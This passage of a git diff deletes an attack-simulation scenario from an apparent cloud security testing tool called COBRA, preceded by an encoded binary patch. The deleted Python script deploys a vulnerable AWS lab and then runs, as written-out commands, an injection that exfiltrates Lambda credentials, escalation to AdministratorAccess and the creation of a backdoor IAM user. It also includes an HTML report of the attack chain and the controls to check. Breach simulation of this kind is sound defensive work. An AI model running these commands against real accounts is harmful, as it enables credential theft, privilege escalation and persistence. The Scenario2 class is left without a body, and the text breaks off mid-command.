zoJjW>8jECg9j@%&vMKW_R7b#}9eRkkO|de?j55h~WiE!nn|iQK{XKp|`1f(m$RSeD zG;{dV(SG{k^hoiakR@~=`&EE?gLedWwi2YZbp5xiWkFtJixk(6mHU2FQ%yj5COlHa zBg4T>W+q=(yh3J0y-&4GRU3D425G_41u}0_YW^n3@^W+lj1F7;N3+UVd^uAL6sH>` zO?o(GA(hva(eDVW9`~*HHm-R^c!Sx`mI1xAb0q zGFME|@EYyOh&q^q3^hgBl@6-e=7IQoX!1N@f3?c&V&#*C~$ z?Qr+N{OJSL!poxnvWzjk&%rwj2a{}qLq}g*MB(RtyXg=nUvDWAO#PM`2e$#HUl%HB zmn1utcU8VBnqt0gMi(V=|BHt* ze2eZy`gk6|Qn8qeBs_Vu6_UZTte=r zhb*m1qvE|!=N<#Y|LZCxBoinTAn`r`UCSNbgt1D4$2ZBHKWxW2Wobb(#K;;b5{0NY zO+S9p%;f5fke(i5i=Wm_vDQp`Y(~(!IFS&s@zJhU8nE<&%TMWgpPkCP7C=HcULSpco|J^ejz*`FEdJe(?2~j zQ3bCA!%@g3Mxsbw%pJPdw8uy+^zz6TSQ# zHh7svxq)r5HAdn!uSfQf*=8 zB?)?FeftGn>&e&zV;Z+%rm`$L?xD$J9KF-`)B z-#?0UA9xK7M0~#R-$=14)BZVhUay$-Lx?yyn1z;-K8wA(gPA=TtDBve`L>|a9Ubvc z^MM5+2CY{tNC#o6f}zOF;NTEeme;u0Kd&S&-7wfpn(?|=J56%ibUv6(^{zdfw9uWZ zn{@VaFZHYInXS<&{kuW@IBxF45Xl0Hn&wKZRXzf7^zKgnNe+@C3Zap%LompN@{Spw zozm2!Cmv|GGftGfx@0w9OTWAXcdEtEt5#@u{HgAg85+=j-5^}C8agXjRdIv7MB|Ri z_^Va)3#(5#W>WOw@AlLVtBG;2w~Eb@hm<&&ak3?qo}`z+#ou{E>g5%1dRp;$KKaC- z&yk+X{0V3BUba_CY`;-|bw%bxZ02O_ZS&OKCo4@(o7C_lz0JFJUznS83bBb+lK$F> z5#XZ@d-MwPG$aY+0~Sjpr?7ky15*(`IzQ?r(}nnQ)03t@Qug(HuCc7mB^?!YXI{IXEbCL-4x;AnpRB$Zew|*B02)!dRRu9&@Z)XJ`{0V zx8$J=Sg?MV-H)qb|1r=1IbB(#7&v!37JPCN*pA8t7Tk%5-1&m6@V=n0&B;Z9DWb|D zp+S%AKzF3mE<|O2_J)dRLrBoW?WpY5>hi?xg7`0@%wdkRvwFXo1QgdkOW?Q=`<#Ur zc-_PS-`=u-fR6^%lPvT=6xa|Ckj#vuEk6r*MN>Y`F)-YKEw zv^1^k5LFGtXlDUYH8x*xvi+VZ6Z##FM^6exR{LvL#mn^Frod+N470Z~3!#G11LIyE=?=pJ>M`tk8lSXsyA?Y#UchS+;=E`eqo z$f3z6Jg`s&s3fuP;H+oOOX%SwE~2)o>^xAoBCVqjJC6|gi~sSq%9mw9OVzB(6ws;vC9pw02S?3W!nTUof10Vk(tO2V zpdzzTBx1e!R!62e-TiF0!R6U8RyFfGbkv$4p{}SVfwQ zlmLIrgdKIRN)lBQUGc?74nx^ zwgbDn9ZamH6c{xPECc6*IF=UTSA7WVF?qsQNicA-`bCDI|s~Ilr#0^w|F6 z0BnL|HiJE_JKD{fB1hEqq$wU z%UGLo-#jG1GKiSrJ1~G#LZNm5qh8X}O0Hy-q{%}h)PqAKQ8H4RWgo@BJJIa#A81t* z+Ag*tBzUtj5KGca^=j*&R0pZVU=?VIe)5eUaGo-jAt}oBz|t1>f0% z>IKZT5hJU|nGXw@*Kfe49gBir%q^!s6o&uan+3CB9wg*2{ifk=#bF3A9OwG{@G$eC zS){5YU$nE%Tg?8N#l8?l^KQ3Dz;VTkU)P*%9o!s5d-qUSBv%9RNVs!&%KPVFk$zcn zkpjgDbfDi6*(Jf8?1=k==D{BBup>Tu8+`_kWk9$f&TqU{COTi+PoX}qj_7NPWf<}l z=Q0ofd8b@%)1{IhVWLRcK{95zYOw6J_c!?w_^gd@h~hYYJd_q6$G!$&53f2^ZYQc@ zr)tskTM4_azUY-ZkrX960xBrxOxhSYYp?80dT%5*+F>wX9oK1DvNE}S18gTR6B$6fHN$?U zsWa!rJlw}8S1esYZ0{J{T|UVd12$JNrzdF_r+ML6(LU$|$6C;>y_yanrr3di7Ty%~ z;mrmlZ0+;^RjTTy-Y}&`5`+!-kN;c*&saB-_GB5)^J4k8U>VDI9GDs5p=P(;-MkvP zqW7q|_D#~P`IRFN0C#)=V@u5C4_clWh-i>9*~H=HGT~h8L5{%^Av=zTLijhU$2KgZqoSrLWPb?W zM%1hOX02D19G_La;Z&`6n&Mp9ICEQyK5%63+x*3rRw?8GbQpt+Pju@Km~j@NQd_1u zz`{1;>fC}VJld6B>+f7D*w&_X?)lilb|8TZBkwEO7|CxpcQ@6gUtw5clcbRKw*tMg z&XccfuBbn?gZG$aN0;07lVXGl?iP$z0$F*H#D{AdOo659?|2%OhZGL2$$kRcZ7#;)y=Zha3UCj!CqATG8~`86gGfn@CQxQaEksWRq0RzqOU1Ti}z zKpMRZOQl3G(+0h+o)dL9ja(L2f41%p%Sl-)ZJzFz@B_w(cn!;bOWUhk()Q&KxC2w9 zL*Vi{-DrdI;f=?6#0^N|IaF-wr3 z=MH?F?Tg&6HpG}K2giL(3^Z#?hJ86sI!^_1;V`#XnOA_>TQ}l~y(__a#u8^iBQTHF zL`q7HH2KnPR&i{ZZpr_=07e$D)Jpo&$di0(J1cUFe$B$KK@_Yk=Yj-+)cUHLtL<7R zIO#k8z3j3jJ2lgP!KY_aX0pknXyIQ;J+YtD;|AQ!+=JaL04C_^?qD)j+XtL0)Y*@s zRIyyBN$)B&nI=^u+xN@-**fML;(vVa|A!1)-Ms4$G%OQF8Coq_t#RQwE%qMcU6Z zJQhE4d_>Gq$(4-HPZN8h!CRlCLe2a0rj0 zeEnF6$c~h_Yk$zouxtq4-M+&2+wt$M*w(f&HO24W_PgpG)8@2EM$*T7-gi*zN-m+O zM-*@UdoFjRw7iDIGiYDBjf0FKWr;^o^-4>}Bs=%>Kli{B4d4DIi zFdFW5*Dp-18eX+a}0}(<}13_@@ue0DS&G)X3%`6-4ciJ}iJAS3*!*txK z72?hFvYeCo+S%d+Oj14JQi-s6PAlSjsC+n+)_vMGPVvfBtwbdB|}2Lt15hp{@iip5E}@FZZ=P-x9S!eIiNRBk5}{6 zrO1uO>RQ5A=vQ`i!l!HDXpGv;6_Q4BgBOC(i&*iq^q0 z<}1-6Z>4rC$4$&d-7mSK%PqR@KLtsAUhu;b;oX>rak{W_I-)tB>-dD}gPQ5%#eH^X0{w4JVsLDWkAcSJJ?d5PzZjtEu!tQDHr6}PRxv|5KdbbF%4PW~h z3#E(Q{LlbxcJXh*gfXnhf+!8dQBaKK)J7ZZ5mQ%Umf_Ba&}*FLeD4-%eR@9ckOrg$ z89cm=z(>9S+io94^24Jt7LI_*WOjfOI~(o-xpzNK@X(tcznQp&|zezy(MTP!>}6GL;88LlAv z6CyQZpWqIWvRsAeH5JnfJOxQpxg*ON-k)3Kb$Q{tp~r*FTY0^1ue8R6B4ZV&U^%c~ zqa+!06~yj>AvV7tYYSRik&Nueg=@$wF(K;hQS;A-kqSMq!0UF4ABp!r1$dz5t_(cx zi_mDWfLyUXbbdT8utMs>YJ%swv%pmg`+ZNqwI=}bg_UNk{Uwgfit<~^RdQ;n4bzXr zv&_okxDof3$45a8Uu*3^z3gJ~*y$u|VEKt~KmV7@3x1(8mRBtDKrHH zR2uUYh3}Y}BAwR!<$4xa4h~;kUt>IR?8_{M!F;;O{thtqqU4gYxOPZNvmMj&ee_Mr zL|>IQ-4OVPx0x^nFHD~)*)+%4K*s1$hsHUPRS)O)*SuxHCf#RC(M#IW@oj9=vKQTy zt=TIf<15?m4j(U9w;uJfrH>YF8RdDFY$8(X#yxu&`sGFGcV)9k#%Y4Py`IgfEy^Sg z%75i?8gK0hdCMHDw}@ffWotKvkx zp1cnAxvnx%dX15j5}_6DUZ3>$>h6;NP&;_>)z}ZFL!M{~;TlPhlQPZ89%hAG-?R8- z??Jvc9z_1zl=`MZ+3(c*rO}w}g0zDPan*KI($0B`92>lD<`c>0tSk452UD<*m(R4a zVRWx%!P#3r$TO)8BrVQ4z4F~sg-j^4T{S+%mKa@(BSrs zL3SZ3%X$qbzenU5rnCbeb_PDX-7}IQu23lIa=&D7^G5D_#5~rvid$SXLB*Eo^MmIU zyNq6C0~%gzM7ziLORJ~5BX9Szj1Riq;6RJ?iDC7Vr{acR#(32GCfu^vXVu6Y^-RKM zR2eNu<4H$4kOCm?i&9E}R|=w}iP-Z_FhIdN*1Wt;4{q{|BevN8t*i;_2s#!H$0>H>fPU?_{5K1a9S10@?Ep+!5lvFi>DM`{m^% zm_dX%1UnM06ME0fK~gys*ieV=&6&~0H37eW3xRV23HP&vb$|xh#+b6aCm(=6cV~K- z!+Z4H;A*|cTo~}Ik7lt105>R0Yx|MYjqlHPuFm}XB+>f@Ik#W|etGKSaZHNmG4q95 zV}fJe1rEk#I^*fe!Hrj?Q4OF?{SfB;8mbM+nwN&qVBquYF4g+;L&XVSo4_E>iVFsF z`6P%lT#g_a`{}mV8+=R;y4_04fix5fgjlzF>^M_Rh>}jWl41ae3>(wX?zyWAGI6|j zmosb!FX_IG6o8^L8Ptys08k~5RoqE+7YAolO)Reg_W zkrUqpn1gjdk%WP;L<>G)UcB#Hjgv`89}741R%gTEM%QG5o)Q^h^QM{~_$O0+W#;eu zYF+LK>v244I`Z~eC`f63abCMw=yeHQ?YN&)h*qbc=N|a1$N|N3Y5izEKeie4rEw6f z3!y;s6g~U0kdvqG@N7NNal|y;b|45sbSvG<*Ij-oVHfkWrGbK3loG7ksAw1gTv~{O zGp|a|QG$S8t(??EfX9*;^8&|Ec%ZQRG_Om3FUSI09Vy~b@Z^wN$2bQc5OV+GFbcS| z768AU^fxsV_(P>!#-0*3Xz=`|e(S5Qwy*v|YJo<1tJJ1FW|*Wp`l|2v2j5|f#baQ| zydk{UMjUj(LMPj_!3XI7Ex>PYowmC)^2W0%mT?NV4Zx5zs`?H4v)icCfp~Wqilw3S1$GHF&Vx@+_LjIm=XU7q89!wp? zPoVe4crMz2;0;Yz@|xj=m*mHBl8a)9ZC3=(n~AB9)kPk@ka*8|sg#m7o4h`{eQ3sm|#Rrn?0hhrEv%c%tb*^e2mp0xnNX2+Z%No6GrSnDIegjU`s(X`riY#+L*|=Q+8cPP%52Ma|MzNy^V^Lq%q(^ZBTQ_u}IRI0#@LC z3#hbW2OCRCLxl2XKM+@Exi*vK`tPnXk&z4+?H1+7RN6~-CBfb85sPpFl*b|3Q4ylb5V0O&OC_7OXjfq1W^c^` ztsb>PC^&8jJnkE`IP>l)q0*o_;Sf$?-^zN9ZWVu55VmSV)Vcv^z_oU64)_Ob!cF42 z2S4iEYPH1e`*I8pDmZ*MVJ;|}jB{;tqd!4WYf0TiZ{0EQ!AOrPFO^g^18Wm~@(N0YGa5jghQ zR>;Yh^UKX0@4$iT{08Q7sZh?)z{+NZ6n@mYMc~f_%qZa%c4zSdjdR zB&h&cF;h4EX7U!FRP%w%rH42%fyQ#b zkGC-nGAZWXFJ)C)!fB*sX75!80;;MI#bB@b!}!XmdkSkizgd;Hwa$6MV~`dXc)I+@4cV<1?FQci@@6)^fSt%U7BKzFkp9y^w!Gvk&U@1 z88NqX>UGs^^Y1L>6)8#7dhEZd*;egB!;%<{5w{z1PY7A4f?3O^rDlNXhBRN%=t52& zlrfrS_NCk&6ukLnB0&e6WA@^7B0!r7-W-AGwQ|Jq!zf(gt|)m+il+%?I;aN2UZy}6u;MtH`Mq~kTpn8m3kOuR1uO+|lY?1o49YzeT&#D({j&qjv4RkB<{H zU+<8;{b~I<)T5F&@58X=RnW0l}Njs zr!-(=pYYCyt8Qun#q-979YR$%bzwc-(B3{oLu}^o%j3mD^KrP$AND&?r?FjZUZLP6 zQ^PJO=NvlN;~hnu=GHeZ1|n1*msx(jdYr5Qtvqzphu*>XOd}m`P}HnnbgG36DUPH6 zIcr_;RJ;YsWB!aPufzQ}Ak? zq>zF2S^I1UZ_3fy7$~Fc+>@ZC40#vSS-I0AMB|Mup9{wf>Br>r6b~*%NjtY~)BUvN zy~yrTEIhuqxV?|JyPDa=giY$Rb3VfW)ppk4#rrM@|5n|M@H~{)zP1`E4LN8sERAyJ z-+uQ?YC*k3`|hJ3WfSR+zZ@jo4otaf!7&v*tX4t-YdD_N?w@+8C!DwS(%Yjr@LlHSzSE*`*%cAOvMe3iVwfFl^J|d zH|k|}n-B=B%bcvU+xHo~A_tAwl9bWXkD-kyq?hKulIBHq^g9xt@V&jq_sFkvo+(_< zg59}SElo3OfbV|w#-O#)4Ar~jp^wt@ispDBVuwNCunUrE+;SYs$1&fxZ>=GgE!6uM0OhdPfgM(1=mRc8&wQiB!*o6CScFc<8`g1O67HO zi`vds%e@qc<5-aajLhnfs+T7#fs0V;QD}1MvexsXY37 zT3&@Q=8hJ$b9wgcLIVH7q@iq>7tOl3{R6d|T~{spKl=fot-~CPz{X{(m=|ccj~j`= z*4?tBaQ@DB7Nd=x%!{Djc!DS+b}AKXQ6Fnxz<~MSUzHJW7Ql$H$*9S@8Rcyh{-20r zL0(Oc(wnTKJ4}wMoGrM9@p_<^-<2fjXp_96#;riXWO83fS`ud7I;_QQPB!55bwokk zTFvuLyl)lH$~@=)-U@@9V@CU15Q~$RZ+nU*-nQIMjQPJyjVKIqb_n#tnA0n^zbCWh zCx)}QH>nRxS4BCIt?)FN!61OZ-U_@r^%HXpkV?=<{VJ|iIG0Sq;C6*?e|+(bNqBlD z?8`)08S=_|-45=5D3o~ep%vNn-}dYCew@vN6*lVr_PQQtG_$tI5QJs$-E`idCyvVB zOhm6(tqD$}aLIFJ%uDu;jX6mF&$xn?u2FgoJ=vMWyL}d{*=(H4YQa8QB6=@$cF&hk zrVl;XGyx8m!*&g((+l4$3g&gdH|zt!-gs#pTfX-5{bT!y#v?Jy%K5h5u(v&yqzqvL32(E3M`T0u72Wef6W(hrW(3e5eTfl5)HFGne6w1kG!Ii4VhO6OZdFG zUPA$?5#KNlD1w=cNQLL~OJHdOJ3nxFq%DJ4$~e(uq*&k{G`CkfSwvj@sW@S0f=&t; ze`E>H?+(xEv^90}(E!?U1EpsYb)89+U&;Sy8h39z!yw%Xfa@^^ett1|MLrPo7S4p>x9uKgG#bcXJg4!@MDJz$Y!`uf_eS- zr3YVFy56cwNLrnTG;js&S+NfSF6J9b*_&=-E4QK85Np;TLn`y&t_-PtH_Q9yGBhZq zm0Y;rWMaJcAXbm7Yi*=Iwq{?*@pzjQpMJv9p+dNHkxu%+|Hg@jl@mrOxGidElFgoP zjIs{Ak+vNP0(8`^j~9nJEZO3Sj!l4lzYk#WkT0*x-gT}LB05w7^)#t`&w@eCU??zG zHP7~f5Y0pVL*UMN*#fB^2S9&#mP{bS5^TM9KLH^X8!uoGz?=!i`1Db)TWob?s8&|k zZq4^UAnDWQ%a#H;<%(1ODTG??vnAu_M&Mo$sSE(SH`1g43sU^E_gOQbW;ow@Eg3(P zl*hpjRhwyK@Q@{e+WNq8uAIk*d%w@Gd)Mu_BPEM^7609@HZ7oO9dW(Gb10#NFvH+t%K_9|vNPku)SKRDEl>5D#Qf^U7VqErTq?o+Q&Bjfhig*KaWg5lbYqjq#LlIbFNB+lmJ~vz>F9Q}p z>3p0m0faDWHp$OCmA`|>sb2#xSWQC!urG~1!pB6E!xjE)-bGz~26urB?YMD=~-7kX=t!WjsJ z>7J(QRikZ^2UG5#cckE(M8KYFRNwn4q=gVvVLQ(87ewz!90$kCkgC2%Tef|MzLcu( z>)3u^I|UjYYb2Ra9PB8k{je4Wd0O#StX#cPwAgkM+{Yl>^`Yw%*M~no=1?QJj6DgY z(Rbm=7|X1wzPn1xmHAeL8*JDD_WeK5$D6zwY~#%BLbIBp%?2Jqe0on}c()S)_@i!6 z{h$f`s0mrru!S;oR1sfK5jA&QgKvGf{xrKNV3`5(h7-Lzq8P~UB~@7nkSmg35E*!| zbCK~pqdo8r)tV-f9XF1f4+FQVravDpPFr*QVln$ggKG zsmkV!5F8#~{ek+M*76Iryer>&FhMV%TRk7}=3axdjj+wrpCxpyeVp0q;}{9wuSDxy-+wdOc6cAi%RN?jw9+ar8QY zfOr)--=@b3z4XUQ0;@iTmgHH-olC!PB>7VEYuLQFK+##nLdyQz140Vn94LWbdYH5i z?mUw?Ar$p(cpj$IRVYTDrdr#P#I7*mSF;+Y)NVPNKD8{da1x@|N#;9+c}%F+@g}E? z_m+A{;O}ySPmYtn_qfHO#M3WB1NT*^<+0UgKMClK>wR(y&(k==`P~pTSHrS_w$y#` zQAyW(QgN&>$bB=?&nCq}hRu0vCNT#bRU-z@)UwlYGkFsWj%rM}gZNayapy0{`m9^t zv9etLd}5d3N^T#H2y*{X5ig!YnI88|8fnHr{WMm)UlKdKua+P5pN+4^FsCfLbrGrU z*ag1BHi8$YAHqMW-sC9jh$7*Stb^67_IA_|_e9)CSp8K@hnfZVVVC+96rTf&vnQWj z8ZRqa&N6i*VwQe;hxY>79?!66Q}tT?QE@_TaYB)@x}d?Z$Hz#_l)VvrJ!3#c`G|on zZ+!aEl;lmW705Ttai5exqa}^*8DS!b64mz$|>VJ+VunYpSo*5#42r(QMpE!#~x#aWwr8)f2Jfj z{v~_}kl>W{CTWdWenC(DbmNh-*VE5p*c?bb^*RcHnoBp~z@u-(s=(_px8r!J_~0WM z7p|RQwnJ4@Z2XMer`MmIp!QaEhu*}A6T71_1v1@dWtq2O-x9a0@UNjhV+Fxm%o;n` z7mL4}}6z8s2p+kJIVR}?=l-`DAcd=FPxgI7W%sCCKL6I)(F6Wv(q`d;in1GjdL zh=JT7$pL-5nEx6Rq6-kX+k9av*ZtJDY;g_rQuHEK_k0eTIj{0b^sN+2S439Mz z*eIq9AMLuu8)JYtiaFPaK)$~|I@cb3S!#>5d+O+{l0Z2XyKk($0)F+V;|YL_HbJ(< z5B~!bWzcb`NLUBU7n`DJ=y>j+v~(dTglM3C`kPGD6qP|z>ChQEGSy`BIhG@`q_|5F z^EU3i&MT5X$J5Ue7C#DIGgcM~JR<}RpsaNJ#*$cNIdM*U_>0||^4p>?y)kOv@6M?6c{*~WzH69Oj92S6Cg$4W z4-Agu`+T4#blgktqeAEpk%-+LP*{9kJD5i~bLhPBrFW0l9;$1+y9WQjteG9z-W*%D zHL(!R|CRr%07sM7g3i}~3%88_l|bWQGYo)=*qwI>7_MuYjazK8(GVstGR1L?ut#yJ z=lLpzHkRzz*yYgixhp$d!jQ$gt7La53tT+kJtE3x+Uw3#X?(!|dtTH~5VkfIzj!SZ zC4T@9U<|Ev6EZM9_AiJHaJ-Xcm~zG2H!w0YRcmGGD7hHbgMRdKivRWLoo2fT`5L;X zAfspX{w|+f=r;u)vCH}!D6uzzZ>#P;yPm=JVm7Cpc1l5=Te$PCQML&7yjW#cfz7g! zZ4K*g_x5u`dm&lrg;b19O3k7^1AYqVDLX=gml@Y@y-RjzDETYkqWuhV%6ieguyO{5 zO=5}XI6LU8k)&pecrpXB)_f$l1!F(`?WOV%L@F1<+5;T(%`+0u#T2241 zNIUj!_U69%{Ts%f59b?au_#F6pXZSxr-u-@RhgZ~jci)l&1Ctj%ElDEW!U?o;bc6E8<{FPZc@56mimpwe9oa7=$@ns{mJ1fM>}tuY6RX7!zxWAYl_78i{GpN$zV!CK{Ur*;JNT4@^ZQ!*C+}p&hOeVQA zm*2+&+%Em1{MA2S!B@toqVu>OC|lI+-Q{`3wz9dAtNZqqd?be0lLm38k1i&pQ4zx&;d9JaHR0n#jS$kJ)pr`)akkU1y6RHsSQpU}?dw&3?2&2H7=J0kef=lQgBhyDPcLS@7r_yC#ZJm)R(nq%#t+3bO(AHnhbly$xdU^vQX zJ;iM!_?ep0(pm9W zQYpY@A#IZhx#S4UnHbJKd^%HrMEn!qu5l0_5uwDBrbIm zc>?+WXL8#n5GDJU+n7!SQ?#b+O6X17_0N^g0l$S5315$4dk5}i&d;7q`E>8Qn1N`7 z?0_+iuJX~=i;x!oc`}R*bC2GK%aFRMANX}b`}eT)qO*pD8K5@#|I0ubYUMJQUkXu?@^Mg{H8Gca8t&j2sO%)}8lJD~(- z2pdVGQ~_xJad$4mL)W3a5YTs!39Mc=9qwR)kVUHlg%Okk05zMz_5fppJ=3~HcBc-3 ziHw_4J^OM3G;MrIX2FA~^QYY0Ucze591i!fBX@I+P^(*(pX1IITKw1nTPz*=Hz!-d z(+z3Y=p&$6{)Y`<6~sqecC8!RVPwUYo!Wsxf?kMF{C}P#Bn2S_m=z&^R+Eh!_XE(E z@W<{w9WDYcpLo|XPvg3DkL3l5T@gG;y)ya!T>|ei&Px=Y$jZ|N5iX}eB{0*}B_vPP z&#U6m!!j_vM%ft}r9Dfy56{MQb%K*_YcRlTOfUH#WsxexKiZgwZV=q_8E1JWvwEgH zDAn@;tV^zJ@dsK{w;GDohaaX4Voh)#sl7soa?qiV_B9?wQh^o@l4_i0?!;ES6vw_I zOs`C-SkdiF)~!&2A7_Yp+#>?J@}cpPXi3qfFd5l@g$Cfe>tkaCNL*lm8kdlE*}jiE zMAb3~xCxSv#a;18xDVt-_iM~I&!yq+ygsB5j#RR0At~T7o^h1er??8(Ac(tEb2KGh zD*D&XcqVk|W>)JoN?)S(5i_l9mGZVG@tqXJ87jv+;1lh40mbJeC<#$mf$olWH>~pY zN%audFJpS+R^b}VP@iSsvxex&XYtU_^?|B~u4KDj!7I+mL^-BjIHip_S;6p;DSwpz z{u+c!o@m~8>bZ2<<~3zauypK0V~#jAQxCPkG=3QY)|kxBw{F+A(Uk9t{L9T(D-kU+ z;h`!y$=wBrU5)#!$TRpq>4sJjG6^A6sk)hRUwbYJ?04zMsE$Nd!X#se{m(0WDPr>(2t zAdOljlEKB@2mZVC^X#K5iCxu36WB^YrJ+?glo z_r(9HpUbMcploZOl61y->HFI^rJOfo63=fDtqXz#GQ(uzI{RE0#aXQGsui!e%Y*Gt zCiI`vo96SPoF!HW)-*yb$UvC+Vwe1##_d4N*QquGV9J+Hu6$+kcN~3ni|}2ZzuYbl z8&EA%JbFTJj9Ya-EZN~n*<623S+vMGIZE*vojliBf; zt>O>}^-OjI^(MQGu5aK9cBAqv@R3oKCSNLnr%Go7NftS_Ogp&KVs|inZdUZQzZhJH z_-$D!7GWF3?BRlM#OxzmTEi^1&TWHg0c`(zBcyRGwz1RXH8S9aW6kcX5C0%3w3*P& zw{tlEAZczg5!fJ7z;zLu)hftEjZQo-M|0!F&ab)FcH2MFYxKSXY`U4hTcWLVw({8; zlpe`*w({s%Z*OEdHZQ_zt$AJEx6opHT4fhZ6WR>z_nrqH#$<=F?Y8KZSV;&U5qCO# z=SVHF5k3MM#%pSo537DtNPJOipr+p7Ri_MCCuV)Mc6g&D_ZK--;1Ztt^TGy~fR5AmLl zbz%I9d!WX4hful+zc<1@+uc{)>YexRz52|Bw(;4Ga|s;VxnPV{YSV8xWn6|r2WEL;kJrtT*Q9B{o^0vA>2^pmkavWcp%wCpM9S&m5PN0g6(%>!XE>& z0!{IEdR9jZMMiZq)9a$K6^S0G4a9R1b-^yHPWPw3{HJckYo#&%K^8?bd^SWv-qfG_ zdlq!70l9Hc#yb6aOcnA{3}uSHG6m8mt~(0H%(2IF$*jlif_v~Qox{gzqKPCw+~j{Z zRb?b81P)ZrjP+EC_o6Sns_E23^8geORfM_x&)uGZfZuyVHXMn{7^rskEAg_=Ri!a2 z?p};UyVXY@;K(_3BkprQWPY}HWoGZ_apjOXT5a+ z_-a)|82`)ip3W=6cc9S2PEKgee|FDPGxn>SNQgz~Z6Tq5kI>UUHm)Un0Tf|`=YwX- zCBRJD7Czonm|03lsJ~`;;03}e;3ee{;6$JJe)6UoCf8PoX0Gph2Pam5cyaF-q7tc;Snd8@OU9;!Q|obUC{JAnHMEG yaM+=b%+8)Y`6DRZls+-?{x5peK>OXo2SfXVZyqYkhp$1v4^1^))iM>!C;taXu`Z - - - - - COBRA Attack Path Report - - - -

-
- COBRA Logo -

COBRA Attack Path Report

-
-
-

Attack Path Scenario Explained

-

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

-
- -
-

Attack Scenario Breakdown

-

1. Application is exploited through API GW, lambda backend

-

2. Lambda Role credential is discovered and exfiltrated.

-

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

-

4. Attach Privileged Policy to the Role.

-

5. Provision a Backdoor IAM Role to maintain persistence.

-

6. Whitelist Attacker account id in the trust policy of the backdoor role.

-
- -
-

Attack Path Graph

- Attack Path Graph -
-
-

Resource Meta Data

- - - - - - - - - - - - - - - - - - - -
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
-
-
-

List of Controls to Evaluate Post-Attack

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
-
-
- - - ''' - - with open("cobra-as2-report.html", "w+") as file: - file.write(html_template) - - - print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') \ No newline at end of file diff --git a/scenarios_ng/scenario_2/scenario_2.py b/scenarios_ng/scenario_2/scenario_2.py deleted file mode 100644 index 3941675..0000000 --- a/scenarios_ng/scenario_2/scenario_2.py +++ /dev/null @@ -1,116 +0,0 @@ -import os -import pyfiglet -import time -import subprocess -import json -from tqdm import tqdm -from time import sleep -from termcolor import colored -from core.helpers import generate_ssh_key -from core.helpers import loading_animation -from .report.report import gen_report_2 - -from core.scenario import BaseScenario - - -class Scenario2(BaseScenario): - - -def scenario_2_destroy(): - with open("./core/aws-scenario-2-output.json", "r") as file: - data = json.load(file) - - LAMBDA_ROLE_NAME = data["lambda-role-name"] - - print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) - loading_animation() - print("-"*30) - - subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) - subprocess.call("aws iam delete-user --user-name devops", shell=True) - - subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) - subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi destroy", shell=True) - - -def scenario_2_execute(): - print("-"*30) - print(colored("Executing Scenraio 2 : Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence ", color="red")) - - print(colored("Rolling out Infra", color="red")) - loading_animation() - print("-"*30) - - file_path = "./core/aws-scenario-2-output.json" - if os.path.exists(file_path): - os.remove(file_path) - print("File '{}' found and deleted.".format(file_path)) - else: - print("File '{}' not found.".format(file_path)) - - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi up -s aws-scenario-2 -y", shell=True) - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack -s aws-scenario-2 output --json >> ../../../core/aws-scenario-2-output.json", shell=True) - - with open("./core/aws-scenario-2-output.json", "r") as file: - data = json.load(file) - - API_GW_URL = data["apigateway-rest-endpoint"] - LAMBDA_ROLE_NAME = data["lambda-role-name"] - API_GW_ID = data["api-gateway-id"] - LAMBDA_FUNC_ARN = data["lambda-func-name"] - - print(colored("Exploiting the Application on API GW", color="red")) - loading_animation() - print("-"*30) - - print(colored("Detected OS Injection through API GW, lambda backend, attempting credential exfil", color="red")) - loading_animation() - print("-"*30) - - subprocess.call("curl '"+API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) - print(colored("Successfuly Exifiltrated Lambda Role Creds", color="red")) - loading_animation() - print("-"*30) - - creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" - subprocess.call(""+creds+" && aws sts get-caller-identity", shell=True) - - print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) - subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) - sleep_duration = 60 - with tqdm(total=sleep_duration, desc="Loading") as pbar: - # Loop until sleep_duration is reached - while sleep_duration > 0: - # Sleep for a shorter interval to update the progress bar - sleep_interval = min(1, sleep_duration) - sleep(sleep_interval) - - # Update the progress bar with the elapsed time - pbar.update(sleep_interval) - sleep_duration -= sleep_interval - - #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) - - #Backdoor IAM User - print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) - loading_animation() - print("-"*30) - subprocess.call(""+creds+" && aws iam create-user --user-name devops", shell=True) - subprocess.call(""+creds+" && aws iam attach-user-policy --user-name 